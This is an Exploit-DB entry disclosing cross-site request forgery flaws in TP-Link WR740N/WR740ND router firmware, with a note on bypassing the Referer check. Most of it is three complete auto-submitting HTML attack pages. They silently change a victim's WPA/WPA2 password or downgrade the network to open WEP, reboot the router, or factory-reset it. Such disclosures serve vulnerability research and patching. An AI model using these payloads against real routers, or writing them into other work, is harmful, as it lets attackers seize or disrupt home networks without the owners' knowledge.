Exploit-DB #29802
Description: TP-Link WR740N/WR740ND - Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-11-25
Author: Samandeep Singh

Exploit:
# Exploit Title: TPLINK WR740N Multiple CSRF Vulnerabilities
# Date: 11/24/2013
# Author: SaMaN( @samanL33T )
# Vendor Homepage: http://tplink.com
# Category: Hardware/Wireless Router
# Firmware Version: 3.16.6 Build 130529 Rel.47286n and below
# Tested on: WR740N/WR740ND (May be possible on other models)
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Technical Details
~~~~~~~~~~~~~~~~~~
TPLINK WIreless Router WR740N has a Cross Site Request Forgery Vulnerability in its Web Console. Attacker can easily change Wireless password,Reboot Router,Change Settings by simply making the user visit a CSRF link.

Application uses "HTTP-REFERER" check functionality to check for CSRF attacks. But it can easily be bypassed using the "Referer" parameter with value set to target's I.P in the GET request.


Exploit Code 
~~~~~~~~~~~~~

Change WPA/WPA2 password by CSRF
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[TARGET/IP]/userRpm/WlanSecurityRpm.htm"
method="GET" name="form">
<input type="hidden" name="secType" value="3">
<input type="hidden" name="pskSecOpt" value="3">
<input type="hidden" name="pskCipher" value="3">
<input type="hidden" name="pskSecret" value="[WPA/WPA2_PASSWORD]">
<input type="hidden" name="interval" value="0">
<input type="hidden" name="wpaSecOpt" value="3">
<input type="hidden" name="wpaCipher" value="1">
<input type="hidden" name="radiusIP" value="">
<input type="hidden" name="rediusPort" value="1812">
<input type="hidden" name="radiusSecret" value="">
<input type="hidden" name="IntervalWpa" value="0">
<input type="hidden" name="webSecOpt" value="1">
<input type="hidden" name="keytype" value="1">
<input type="hidden" name="keynum" value="1">
<input type="hidden" name="key1" value="">
<input type="hidden" name="length1" value="0">
<input type="hidden" name="key2" value="">
<input type="hidden" name="length2" value="0">
<input type="hidden" name="key3" value="">
<input type="hidden" name="length3" value="0">
<input type="hidden" name="key4" value="">
<input type="hidden" name="length4" value="0">
<input type="hidden" name="Save" value="Save">
<input type="hidden" name="Referer" value="http://[TARGET/IP]/">
</form>
</body>
</html>


#For Changing the Security to Open WEP, simply change "secType" value to 1.

Reboot Router by CSRF
~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[TARGET/IP]/userRpm/SysRebootRpm.htm"
method="GET" name="form">
<input type="hidden" name="Reboot" value="Reboot">
<input type="hidden" name="Referer" value="http://[TARGET/IP]/">
</form>
</body>
</html>


Factory Reset the Router
~~~~~~~~~~~~~~~~~~~~~~~~

<html>
<body onload="document.form.submit();">
<form action="http://[TARGET/IP]/userRpm/RestoreDefaultCfgRpm.htm"
method="GET" name="form">
<input type="hidden" name="Restorefactory" value="Restore">
<input type="hidden" name="Referer" value="http://[TARGET/IP]/">
</form>
</body>
</html>



--
SaMaN
twitter : @samanL33T <https://twitter.com/samanL33T>